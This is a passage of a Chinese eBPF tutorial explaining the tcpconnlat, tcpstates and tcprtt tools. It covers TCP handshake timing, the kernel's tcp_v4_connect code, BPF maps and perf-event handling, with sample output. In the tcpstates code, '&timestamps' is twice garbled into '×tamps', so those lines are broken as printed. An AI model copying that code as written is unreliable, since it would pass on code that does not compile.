connect()系统调用发出 SYN。这涉及到本地的系统调用以及软中断的 CPU 时间开销。 - SYN 包传送到服务器:这是一次网络传输,涉及到的时间取决于网络延迟。
- 服务器处理 SYN 包:服务器内核通过软中断接收包,然后将其放入半连接队列,并发送 SYN/ACK 响应。这主要涉及 CPU 时间开销。
- SYN/ACK 包传送到客户端:这是另一次网络传输。
- 客户端处理 SYN/ACK:客户端内核接收并处理 SYN/ACK 包,然后发送 ACK。这主要涉及软中断处理开销。
- ACK 包传送到服务器:这是第三次网络传输。
- 服务器接收 ACK:服务器内核接收并处理 ACK,然后将对应的连接从半连接队列移动到全连接队列。这涉及到一次软中断的 CPU 开销。
- 唤醒服务器端用户进程:被
accept()系统调用阻塞的用户进程被唤醒,然后从全连接队列中取出来已经建立好的连接。这涉及一次上下文切换的CPU开销。
完整的流程图如下所示:

在客户端视角,在正常情况下一次TCP连接总的耗时也就就大约是一次网络RTT的耗时。但在某些情况下,可能会导致连接时的网络传输耗时上涨、CPU处理开销增加、甚至是连接失败。这种时候在发现延时过长之后,就可以结合其他信息进行分析。
tcpconnlat 的 eBPF 实现
为了理解 TCP 的连接建立过程,我们需要理解 Linux 内核在处理 TCP 连接时所使用的两个队列:
- 半连接队列(SYN 队列):存储那些正在进行三次握手操作的 TCP 连接,服务器收到 SYN 包后,会将该连接信息存储在此队列中。
- 全连接队列(Accept 队列):存储已经完成三次握手,等待应用程序调用
accept()函数的 TCP 连接。服务器在收到 ACK 包后,会创建一个新的连接并将其添加到此队列。
理解了这两个队列的用途,我们就可以开始探究 tcpconnlat 的具体实现。tcpconnlat 的实现可以分为内核态和用户态两个部分,其中包括了几个主要的跟踪点:tcp_v4_connect, tcp_v6_connect 和 tcp_rcv_state_process。
这些跟踪点主要位于内核中的 TCP/IP 网络栈。当执行相关的系统调用或内核函数时,这些跟踪点会被激活,从而触发 eBPF 程序的执行。这使我们能够捕获和测量 TCP 连接建立的整个过程。
让我们先来看一下这些挂载点的源代码:
SEC("kprobe/tcp_v4_connect")
int BPF_KPROBE(tcp_v4_connect, struct sock *sk)
{
return trace_connect(sk);
}
SEC("kprobe/tcp_v6_connect")
int BPF_KPROBE(tcp_v6_connect, struct sock *sk)
{
return trace_connect(sk);
}
SEC("kprobe/tcp_rcv_state_process")
int BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)
{
return handle_tcp_rcv_state_process(ctx, sk);
}
这段代码展示了三个内核探针(kprobe)的定义。tcp_v4_connect 和 tcp_v6_connect 在对应的 IPv4 和 IPv6 连接被初始化时被触发,调用 trace_connect() 函数,而 tcp_rcv_state_process 在内核处理 TCP 连接状态变化时被触发,调用 handle_tcp_rcv_state_process() 函数。
接下来的部分将分为两大块:一部分是对这些挂载点内核态部分的分析,我们将解读内核源代码来详细说明这些函数如何工作;另一部分是用户态的分析,将关注 eBPF 程序如何收集这些挂载点的数据,以及如何与用户态程序进行交互。
tcp_v4_connect 函数解析
tcp_v4_connect函数是Linux内核处理TCP的IPv4连接请求的主要方式。当用户态程序通过socket系统调用创建了一个套接字后,接着通过connect系统调用尝试连接到远程服务器,此时就会触发tcp_v4_connect函数。
/* This will initiate an outgoing connection. */
int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)
{
struct sockaddr_in *usin = (struct sockaddr_in *)uaddr;
struct inet_timewait_death_row *tcp_death_row;
struct inet_sock *inet = inet_sk(sk);
struct tcp_sock *tp = tcp_sk(sk);
struct ip_options_rcu *inet_opt;
struct net *net = sock_net(sk);
__be16 orig_sport, orig_dport;
__be32 daddr, nexthop;
struct flowi4 *fl4;
struct rtable *rt;
int err;
if (addr_len < sizeof(struct sockaddr_in))
return -EINVAL;
if (usin->sin_family != AF_INET)
return -EAFNOSUPPORT;
nexthop = daddr = usin->sin_addr.s_addr;
inet_opt = rcu_dereference_protected(inet->inet_opt,
lockdep_sock_is_held(sk));
if (inet_opt && inet_opt->opt.srr) {
if (!daddr)
return -EINVAL;
nexthop = inet_opt->opt.faddr;
}
orig_sport = inet->inet_sport;
orig_dport = usin->sin_port;
fl4 = &inet->cork.fl.u.ip4;
rt = ip_route_connect(fl4, nexthop, inet->inet_saddr,
sk->sk_bound_dev_if, IPPROTO_TCP, orig_sport,
orig_dport, sk);
if (IS_ERR(rt)) {
err = PTR_ERR(rt);
if (err == -ENETUNREACH)
IP_INC_STATS(net, IPSTATS_MIB_OUTNOROUTES);
return err;
}
if (rt->rt_flags & (RTCF_MULTICAST | RTCF_BROADCAST)) {
ip_rt_put(rt);
return -ENETUNREACH;
}
if (!inet_opt || !inet_opt->opt.srr)
daddr = fl4->daddr;
tcp_death_row = &sock_net(sk)->ipv4.tcp_death_row;
if (!inet->inet_saddr) {
err = inet_bhash2_update_saddr(sk, &fl4->saddr, AF_INET);
if (err) {
ip_rt_put(rt);
return err;
}
} else {
sk_rcv_saddr_set(sk, inet->inet_saddr);
}
if (tp->rx_opt.ts_recent_stamp && inet->inet_daddr != daddr) {
/* Reset inherited state */
tp->rx_opt.ts_recent = 0;
tp->rx_opt.ts_recent_stamp = 0;
if (likely(!tp->repair))
WRITE_ONCE(tp->write_seq, 0);
}
inet->inet_dport = usin->sin_port;
sk_daddr_set(sk, daddr);
inet_csk(sk)->icsk_ext_hdr_len = 0;
if (inet_opt)
inet_csk(sk)->icsk_ext_hdr_len = inet_opt->opt.optlen;
tp->rx_opt.mss_clamp = TCP_MSS_DEFAULT;
/* Socket identity is still unknown (sport may be zero).
* However we set state to SYN-SENT and not releasing socket
* lock select source port, enter ourselves into the hash tables and
* complete initialization after this.
*/
tcp_set_state(sk, TCP_SYN_SENT);
err = inet_hash_connect(tcp_death_row, sk);
if (err)
goto failure;
sk_set_txhash(sk);
rt = ip_route_newports(fl4, rt, orig_sport, orig_dport,
inet->inet_sport, inet->inet_dport, sk);
if (IS_ERR(rt)) {
err = PTR_ERR(rt);
rt = NULL;
goto failure;
}
/* OK, now commit destination to socket. */
sk->sk_gso_type = SKB_GSO_TCPV4;
sk_setup_caps(sk, &rt->dst);
rt = NULL;
if (likely(!tp->repair)) {
if (!tp->write_seq)
WRITE_ONCE(tp->write_seq,
secure_tcp_seq(inet->inet_saddr,
inet->inet_daddr,
inet->inet_sport,
usin->sin_port));
tp->tsoffset = secure_tcp_ts_off(net, inet->inet_saddr,
inet->inet_daddr);
}
inet->inet_id = get_random_u16();
if (tcp_fastopen_defer_connect(sk, &err))
return err;
if (err)
goto failure;
err = tcp_connect(sk);
if (err)
goto failure;
return 0;
failure:
/*
* This unhashes the socket and releases the local port,
* if necessary.
*/
tcp_set_state(sk, TCP_CLOSE);
inet_bhash2_reset_saddr(sk);
ip_rt_put(rt);
sk->sk_route_caps = 0;
inet->inet_dport = 0;
return err;
}
EXPORT_SYMBOL(tcp_v4_connect);
参考链接:https://elixir.bootlin.com/linux/latest/source/net/ipv4/tcp_ipv4.c#L340
接下来,我们一步步分析这个函数:
首先,这个函数接收三个参数:一个套接字指针sk,一个指向套接字地址结构的指针uaddr和地址的长度addr_len。
int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)
函数一开始就进行了参数检查,确认地址长度正确,而且地址的协议族必须是IPv4。不满足这些条件会导致函数返回错误。
接下来,函数获取目标地址,如果设置了源路由选项(这是一个高级的IP特性,通常不会被使用),那么它还会获取源路由的下一跳地址。
nexthop = daddr = usin->sin_addr.s_addr;
inet_opt = rcu_dereference_protected(inet->inet_opt,
lockdep_sock_is_held(sk));
if (inet_opt && inet_opt->opt.srr) {
if (!daddr)
return -EINVAL;
nexthop = inet_opt->opt.faddr;
}
然后,使用这些信息来寻找一个路由到目标地址的路由项。如果不能找到路由项或者路由项指向一个多播或广播地址,函数返回错误。
接下来,它更新了源地址,处理了一些TCP时间戳选项的状态,并设置了目标端口和地址。之后,它更新了一些其他的套接字和TCP选项,并设置了连接状态为SYN-SENT。
然后,这个函数使用inet_hash_connect函数尝试将套接字添加到已连接的套接字的散列表中。如果这步失败,它会恢复套接字的状态并返回错误。
如果前面的步骤都成功了,接着,使用新的源和目标端口来更新路由项。如果这步失败,它会清理资源并返回错误。
接下来,它提交目标信息到套接字,并为之后的分段偏移选择一个安全的随机值。
然后,函数尝试使用TCP Fast Open(TFO)进行连接,如果不能使用TFO或者TFO尝试失败,它会使用普通的TCP三次握手进行连接。
最后,如果上面的步骤都成功了,函数返回成功,否则,它会清理所有资源并返回错误。
总的来说,tcp_v4_connect函数是一个处理TCP连接请求的复杂函数,它处理了很多情况,包括参数检查、路由查找、源地址选择、源路由、TCP选项处理、TCP Fast Open,等等。它的主要目标是尽可能安全和有效地建立TCP连接。
内核态代码
// SPDX-License-Identifier: GPL-2.0
// Copyright (c) 2020 Wenbo Zhang
#include <vmlinux.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_tracing.h>
#include "tcpconnlat.h"
#define AF_INET 2
#define AF_INET6 10
const volatile __u64 targ_min_us = 0;
const volatile pid_t targ_tgid = 0;
struct piddata {
char comm[TASK_COMM_LEN];
u64 ts;
u32 tgid;
};
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 4096);
__type(key, struct sock *);
__type(value, struct piddata);
} start SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
__uint(key_size, sizeof(u32));
__uint(value_size, sizeof(u32));
} events SEC(".maps");
static int trace_connect(struct sock *sk)
{
u32 tgid = bpf_get_current_pid_tgid() >> 32;
struct piddata piddata = {};
if (targ_tgid && targ_tgid != tgid)
return 0;
bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm));
piddata.ts = bpf_ktime_get_ns();
piddata.tgid = tgid;
bpf_map_update_elem(&start, &sk, &piddata, 0);
return 0;
}
static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)
{
struct piddata *piddatap;
struct event event = {};
s64 delta;
u64 ts;
if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT)
return 0;
piddatap = bpf_map_lookup_elem(&start, &sk);
if (!piddatap)
return 0;
ts = bpf_ktime_get_ns();
delta = (s64)(ts - piddatap->ts);
if (delta < 0)
goto cleanup;
event.delta_us = delta / 1000U;
if (targ_min_us && event.delta_us < targ_min_us)
goto cleanup;
__builtin_memcpy(&event.comm, piddatap->comm,
sizeof(event.comm));
event.ts_us = ts / 1000;
event.tgid = piddatap->tgid;
event.lport = BPF_CORE_READ(sk, __sk_common.skc_num);
event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport);
event.af = BPF_CORE_READ(sk, __sk_common.skc_family);
if (event.af == AF_INET) {
event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr);
event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr);
} else {
BPF_CORE_READ_INTO(&event.saddr_v6, sk,
__sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32);
BPF_CORE_READ_INTO(&event.daddr_v6, sk,
__sk_common.skc_v6_daddr.in6_u.u6_addr32);
}
bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU,
&event, sizeof(event));
cleanup:
bpf_map_delete_elem(&start, &sk);
return 0;
}
SEC("kprobe/tcp_v4_connect")
int BPF_KPROBE(tcp_v4_connect, struct sock *sk)
{
return trace_connect(sk);
}
SEC("kprobe/tcp_v6_connect")
int BPF_KPROBE(tcp_v6_connect, struct sock *sk)
{
return trace_connect(sk);
}
SEC("kprobe/tcp_rcv_state_process")
int BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)
{
return handle_tcp_rcv_state_process(ctx, sk);
}
SEC("fentry/tcp_v4_connect")
int BPF_PROG(fentry_tcp_v4_connect, struct sock *sk)
{
return trace_connect(sk);
}
SEC("fentry/tcp_v6_connect")
int BPF_PROG(fentry_tcp_v6_connect, struct sock *sk)
{
return trace_connect(sk);
}
SEC("fentry/tcp_rcv_state_process")
int BPF_PROG(fentry_tcp_rcv_state_process, struct sock *sk)
{
return handle_tcp_rcv_state_process(ctx, sk);
}
char LICENSE[] SEC("license") = "GPL";
这个eBPF(Extended Berkeley Packet Filter)程序主要用来监控并收集TCP连接的建立时间,即从发起TCP连接请求(connect系统调用)到连接建立完成(SYN-ACK握手过程完成)的时间间隔。这对于监测网络延迟、服务性能分析等方面非常有用。
首先,定义了两个eBPF maps:start和events。start是一个哈希表,用于存储发起连接请求的进程信息和时间戳,而events是一个PERF_EVENT_ARRAY类型的map,用于将事件数据传输到用户态。
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 4096);
__type(key, struct sock *);
__type(value, struct piddata);
} start SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
__uint(key_size, sizeof(u32));
__uint(value_size, sizeof(u32));
} events SEC(".maps");
在tcp_v4_connect和tcp_v6_connect的kprobe处理函数trace_connect中,会记录下发起连接请求的进程信息(进程名、进程ID和当前时间戳),并以socket结构作为key,存储到start这个map中。
static int trace_connect(struct sock *sk)
{
u32 tgid = bpf_get_current_pid_tgid() >> 32;
struct piddata piddata = {};
if (targ_tgid && targ_tgid != tgid)
return 0;
bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm));
piddata.ts = bpf_ktime_get_ns();
piddata.tgid = tgid;
bpf_map_update_elem(&start, &sk, &piddata, 0);
return 0;
}
当TCP状态机处理到SYN-ACK包,即连接建立的时候,会触发tcp_rcv_state_process的kprobe处理函数handle_tcp_rcv_state_process。在这个函数中,首先检查socket的状态是否为SYN-SENT,如果是,会从start这个map中查找socket对应的进程信息。然后计算出从发起连接到现在的时间间隔,将该时间间隔,进程信息,以及TCP连接的详细信息(源端口,目标端口,源IP,目标IP等)作为event,通过bpf_perf_event_output函数发送到用户态。
static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)
{
struct piddata *piddatap;
struct event event = {};
s64 delta;
u64 ts;
if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT)
return 0;
piddatap = bpf_map_lookup_elem(&start, &sk);
if (!piddatap)
return 0;
ts = bpf_ktime_get_ns();
delta = (s64)(ts - piddatap->ts);
if (delta < 0)
goto cleanup;
event.delta_us = delta / 1000U;
if (targ_min_us && event.delta_us < targ_min_us)
goto
cleanup;
__builtin_memcpy(&event.comm, piddatap->comm,
sizeof(event.comm));
event.ts_us = ts / 1000;
event.tgid = piddatap->tgid;
event.lport = BPF_CORE_READ(sk, __sk_common.skc_num);
event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport);
event.af = BPF_CORE_READ(sk, __sk_common.skc_family);
if (event.af == AF_INET) {
event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr);
event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr);
} else {
BPF_CORE_READ_INTO(&event.saddr_v6, sk,
__sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32);
BPF_CORE_READ_INTO(&event.daddr_v6, sk,
__sk_common.skc_v6_daddr.in6_u.u6_addr32);
}
bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU,
&event, sizeof(event));
cleanup:
bpf_map_delete_elem(&start, &sk);
return 0;
}
理解这个程序的关键在于理解Linux内核的网络栈处理流程,以及eBPF程序的运行模式。Linux内核网络栈对TCP连接建立的处理过程是,首先调用tcp_v4_connect或tcp_v6_connect函数(根据IP版本不同)发起TCP连接,然后在收到SYN-ACK包时,通过tcp_rcv_state_process函数来处理。eBPF程序通过在这两个关键函数上设置kprobe,可以在关键时刻得到通知并执行相应的处理代码。
一些关键概念说明:
- kprobe:Kernel Probe,是Linux内核中用于动态追踪内核行为的机制。可以在内核函数的入口和退出处设置断点,当断点被触发时,会执行与kprobe关联的eBPF程序。
- map:是eBPF程序中的一种数据结构,用于在内核态和用户态之间共享数据。
- socket:在Linux网络编程中,socket是一个抽象概念,表示一个网络连接的端点。内核中的
struct sock结构就是对socket的实现。
用户态数据处理
用户态数据处理是使用perf_buffer__poll来接收并处理从内核发送到用户态的eBPF事件。perf_buffer__poll是libbpf库提供的一个便捷函数,用于轮询perf event buffer并处理接收到的数据。
首先,让我们详细看一下主轮询循环:
/* main: poll */
while (!exiting) {
err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS);
if (err < 0 && err != -EINTR) {
fprintf(stderr, "error polling perf buffer: %s\n", strerror(-err));
goto cleanup;
}
/* reset err to return 0 if exiting */
err = 0;
}
这段代码使用一个while循环来反复轮询perf event buffer。如果轮询出错(例如由于信号中断),会打印出错误消息。这个轮询过程会一直持续,直到收到一个退出标志exiting。
接下来,让我们来看看handle_event函数,这个函数将处理从内核发送到用户态的每一个eBPF事件:
void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) {
const struct event* e = data;
char src[INET6_ADDRSTRLEN];
char dst[INET6_ADDRSTRLEN];
union {
struct in_addr x4;
struct in6_addr x6;
} s, d;
static __u64 start_ts;
if (env.timestamp) {
if (start_ts == 0)
start_ts = e->ts_us;
printf("%-9.3f ", (e->ts_us - start_ts) / 1000000.0);
}
if (e->af == AF_INET) {
s.x4.s_addr = e->saddr_v4;
d.x4.s_addr = e->daddr_v4;
} else if (e->af == AF_INET6) {
memcpy(&s.x6.s6_addr, e->saddr_v6, sizeof(s.x6.s6_addr));
memcpy(&d.x6.s6_addr, e->daddr_v6, sizeof(d.x6.s6_addr));
} else {
fprintf(stderr, "broken event: event->af=%d", e->af);
return;
}
if (env.lport) {
printf("%-6d %-12.12s %-2d %-16s %-6d %-16s %-5d %.2f\n", e->tgid,
e->comm, e->af == AF_INET ? 4 : 6,
inet_ntop(e->af, &s, src, sizeof(src)), e->lport,
inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport),
e->delta_us / 1000.0);
} else {
printf("%-6d %-12.12s %-2d %-16s %-16s %-5d %.2f\n", e->tgid, e->comm,
e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)),
inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport),
e->delta_us / 1000.0);
}
}
handle_event函数的参数包括了CPU编号、指向数据的指针以及数据的大小。数据是一个event结构体,包含了之前在内核态计算得到的TCP连接的信息。
首先,它将接收到的事件的时间戳和起始时间戳(如果存在)进行对比,计算出事件的相对时间,并打印出来。接着,根据IP地址的类型(IPv4或IPv6),将源地址和目标地址从网络字节序转换为主机字节序。
最后,根据用户是否选择了显示本地端口,将进程ID、进程名称、IP版本、源IP地址、本地端口(如果有)、目标IP地址、目标端口以及连接建立时间打印出来。这个连接建立时间是我们在内核态eBPF程序中计算并发送到用户态的。
编译运行
$ make
...
BPF .output/tcpconnlat.bpf.o
GEN-SKEL .output/tcpconnlat.skel.h
CC .output/tcpconnlat.o
BINARY tcpconnlat
$ sudo ./tcpconnlat
PID COMM IP SADDR DADDR DPORT LAT(ms)
222564 wget 4 192.168.88.15 110.242.68.3 80 25.29
222684 wget 4 192.168.88.15 167.179.101.42 443 246.76
222726 ssh 4 192.168.88.15 167.179.101.42 22 241.17
222774 ssh 4 192.168.88.15 1.15.149.151 22 25.31
源代码:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/13-tcpconnlat 关于如何安装依赖,请参考:https://eunomia.dev/tutorials/11-bootstrap/
参考资料:
总结
通过本篇 eBPF 入门实践教程,我们学习了如何使用 eBPF 来跟踪和统计 TCP 连接建立的延时。我们首先深入探讨了 eBPF 程序如何在内核态监听特定的内核函数,然后通过捕获这些函数的调用,从而得到连接建立的起始时间和结束时间,计算出延时。
我们还进一步了解了如何使用 BPF maps 来在内核态存储和查询数据,从而在 eBPF 程序的多个部分之间共享数据。同时,我们也探讨了如何使用 perf events 来将数据从内核态发送到用户态,以便进一步处理和展示。
在用户态,我们介绍了如何使用 libbpf 库的 API,例如 perf_buffer__poll,来接收和处理内核态发送过来的数据。我们还讲解了如何对这些数据进行解析和打印,使得它们能以人类可读的形式显示出来。
如果您希望学习更多关于 eBPF 的知识和实践,请查阅 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf 。您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
eBPF入门实践教程十四:记录 TCP 连接状态与 TCP RTT
eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。
在我们的 eBPF 入门实践教程系列的这一篇,我们将介绍两个示例程序:tcpstates 和 tcprtt。tcpstates 用于记录 TCP 连接的状态变化,而 tcprtt 则用于记录 TCP 的往返时间 (RTT, Round-Trip Time)。
tcprtt 与 tcpstates
网络质量在当前的互联网环境中至关重要。影响网络质量的因素有许多,包括硬件、网络环境、软件编程的质量等。为了帮助用户更好地定位网络问题,我们引入了 tcprtt 这个工具。tcprtt 可以监控 TCP 链接的往返时间,从而评估网络质量,帮助用户找出可能的问题所在。
当 TCP 链接建立时,tcprtt 会自动根据当前系统的状况,选择合适的执行函数。在执行函数中,tcprtt 会收集 TCP 链接的各项基本信息,如源地址、目标地址、源端口、目标端口、耗时等,并将这些信息更新到直方图型的 BPF map 中。运行结束后,tcprtt 会通过用户态代码,将收集的信息以图形化的方式展示给用户。
tcpstates 则是一个专门用来追踪和打印 TCP 连接状态变化的工具。它可以显示 TCP 连接在每个状态中的停留时长,单位为毫秒。例如,对于一个单独的 TCP 会话,tcpstates 可以打印出类似以下的输出:
SKADDR C-PID C-COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS
ffff9fd7e8192000 22384 curl 100.66.100.185 0 52.33.159.26 80 CLOSE -> SYN_SENT 0.000
ffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 SYN_SENT -> ESTABLISHED 1.373
ffff9fd7e8192000 22384 curl 100.66.100.185 63446 52.33.159.26 80 ESTABLISHED -> FIN_WAIT1 176.042
ffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT1 -> FIN_WAIT2 0.536
ffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT2 -> CLOSE 0.006
以上输出中,最多的时间被花在了 ESTABLISHED 状态,也就是连接已经建立并在传输数据的状态,这个状态到 FIN_WAIT1 状态(开始关闭连接的状态)的转变过程中耗费了 176.042 毫秒。
在我们接下来的教程中,我们会更深入地探讨这两个工具,解释它们的实现原理,希望这些内容对你在使用 eBPF 进行网络和性能分析方面的工作有所帮助。
tcpstate
由于篇幅所限,这里我们主要讨论和分析对应的 eBPF 内核态代码实现。以下是 tcpstate 的 eBPF 代码:
const volatile bool filter_by_sport = false;
const volatile bool filter_by_dport = false;
const volatile short target_family = 0;
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, __u16);
__type(value, __u16);
} sports SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, __u16);
__type(value, __u16);
} dports SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, struct sock *);
__type(value, __u64);
} timestamps SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
__uint(key_size, sizeof(__u32));
__uint(value_size, sizeof(__u32));
} events SEC(".maps");
SEC("tracepoint/sock/inet_sock_set_state")
int handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx)
{
struct sock *sk = (struct sock *)ctx->skaddr;
__u16 family = ctx->family;
__u16 sport = ctx->sport;
__u16 dport = ctx->dport;
__u64 *tsp, delta_us, ts;
struct event event = {};
if (ctx->protocol != IPPROTO_TCP)
return 0;
if (target_family && target_family != family)
return 0;
if (filter_by_sport && !bpf_map_lookup_elem(&sports, &sport))
return 0;
if (filter_by_dport && !bpf_map_lookup_elem(&dports, &dport))
return 0;
tsp = bpf_map_lookup_elem(×tamps, &sk);
ts = bpf_ktime_get_ns();
if (!tsp)
delta_us = 0;
else
delta_us = (ts - *tsp) / 1000;
event.skaddr = (__u64)sk;
event.ts_us = ts / 1000;
event.delta_us = delta_us;
event.pid = bpf_get_current_pid_tgid() >> 32;
event.oldstate = ctx->oldstate;
event.newstate = ctx->newstate;
event.family = family;
event.sport = sport;
event.dport = dport;
bpf_get_current_comm(&event.task, sizeof(event.task));
if (family == AF_INET) {
bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_rcv_saddr);
bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_daddr);
} else { /* family == AF_INET6 */
bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32);
bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_v6_daddr.in6_u.u6_addr32);
}
bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event));
if (ctx->newstate == TCP_CLOSE)
bpf_map_delete_elem(×tamps, &sk);
else
bpf_map_update_elem(×tamps, &sk, &ts, BPF_ANY);
return 0;
}
tcpstates主要依赖于 eBPF 的 Tracepoints 来捕获 TCP 连接的状态变化,从而跟踪 TCP 连接在每个状态下的停留时间。
定义 BPF Maps
在tcpstates程序中,首先定义了几个 BPF Maps,它们是 eBPF 程序和用户态程序之间交互的主要方式。sports和dports分别用于存储源端口和目标端口,用于过滤 TCP 连接;timestamps用于存储每个 TCP 连接的时间戳,以计算每个状态的停留时间;events则是一个 perf_event 类型的 map,用于将事件数据发送到用户态。
追踪 TCP 连接状态变化
程序定义了一个名为handle_set_state的函数,该函数是一个 tracepoint 类型的程序,它将被挂载到sock/inet_sock_set_state这个内核 tracepoint 上。每当 TCP 连接状态发生变化时,这个 tracepoint 就会被触发,然后执行handle_set_state函数。
在handle_set_state函数中,首先通过一系列条件判断确定是否需要处理当前的 TCP 连接,然后从timestampsmap 中获取当前连接的上一个时间戳,然后计算出停留在当前状态的时间。接着,程序将收集到的数据放入一个 event 结构体中,并通过bpf_perf_event_output函数将该 event 发送到用户态。
更新时间戳
最后,根据 TCP 连接的新状态,程序将进行不同的操作:如果新状态为 TCP_CLOSE,表示连接已关闭,程序将从timestampsmap 中删除该连接的时间戳;否则,程序将更新该连接的时间戳。
用户态的部分主要是通过 libbpf 来加载 eBPF 程序,然后通过 perf_event 来接收内核中的事件数据:
static void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) {
char ts[32], saddr[26], daddr[26];
struct event* e = data;
struct tm* tm;
int family;
time_t t;
if (emit_timestamp) {
time(&t);
tm = localtime(&t);
strftime(ts, sizeof(ts), "%H:%M:%S", tm);
printf("%8s ", ts);
}
inet_ntop(e->family, &e->saddr, saddr, sizeof(saddr));
inet_ntop(e->family, &e->daddr, daddr, sizeof(daddr));
if (wide_output) {
family = e->family == AF_INET ? 4 : 6;
printf(
"%-16llx %-7d %-16s %-2d %-26s %-5d %-26s %-5d %-11s -> %-11s "
"%.3f\n",
e->skaddr, e->pid, e->task, family, saddr, e->sport, daddr,
e->dport, tcp_states[e->oldstate], tcp_states[e->newstate],
(double)e->delta_us / 1000);
} else {
printf(
"%-16llx %-7d %-10.10s %-15s %-5d %-15s %-5d %-11s -> %-11s %.3f\n",
e->skaddr, e->pid, e->task, saddr, e->sport, daddr, e->dport,
tcp_states[e->oldstate], tcp_states[e->newstate],
(double)e->delta_us / 1000);
}
}
handle_event就是这样一个回调函数,它会被 perf_event 调用,每当内核有新的事件到达时,它就会处理这些事件。
在handle_event函数中,我们首先通过inet_ntop函数将二进制的 IP 地址转换成人类可读的格式,然后根据是否需要输出宽格式,分别打印不同的信息。这些信息包括了事件的时间戳、源 IP 地址、源端口、目标 IP 地址、目标端口、旧状态、新状态以及在旧状态停留的时间。
这样,用户就可以清晰地看到 TCP 连接状态的变化,以及每个状态的停留时间,从而帮助他们诊断网络问题。
总结起来,用户态部分的处理主要涉及到了以下几个步骤:
- 使用 libbpf 加载并运行 eBPF 程序。
- 设置回调函数来接收内核发送的事件。
- 处理接收到的事件,将其转换成人类可读的格式并打印。
以上就是tcpstates程序用户态部分的主要实现逻辑。通过这一章的学习,你应该已经对如何在用户态处理内核事件有了更深入的理解。在下一章中,我们将介绍更多关于如何使用 eBPF 进行网络监控的知识。
tcprtt
在本章节中,我们将分析tcprtt eBPF 程序的内核态代码。tcprtt是一个用于测量 TCP 往返时间(Round Trip Time, RTT)的程序,它将 RTT 的信息统计到一个 histogram 中。
/// @sample {"interval": 1000, "type" : "log2_hist"}
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, u64);
__type(value, struct hist);
} hists SEC(".maps");
static struct hist zero;
SEC("fentry/tcp_rcv_established")
int BPF_PROG(tcp_rcv, struct sock *sk)
{
const struct inet_sock *inet = (struct inet_sock *)(sk);
struct tcp_sock *ts;
struct hist *histp;
u64 key, slot;
u32 srtt;
if (targ_sport && targ_sport != inet->inet_sport)
return 0;
if (targ_dport && targ_dport != sk->__sk_common.skc_dport)
return 0;
if (targ_saddr && targ_saddr != inet->inet_saddr)
return 0;
if (targ_daddr && targ_daddr != sk->__sk_common.skc_daddr)
return 0;
if (targ_laddr_hist)
key = inet->inet_saddr;
else if (targ_raddr_hist)
key = inet->sk.__sk_common.skc_daddr;
else
key = 0;
histp = bpf_map_lookup_or_try_init(&hists, &key, &zero);
if (!histp)
return 0;
ts = (struct tcp_sock *)(sk);
srtt = BPF_CORE_READ(ts, srtt_us) >> 3;
if (targ_ms)
srtt /= 1000U;
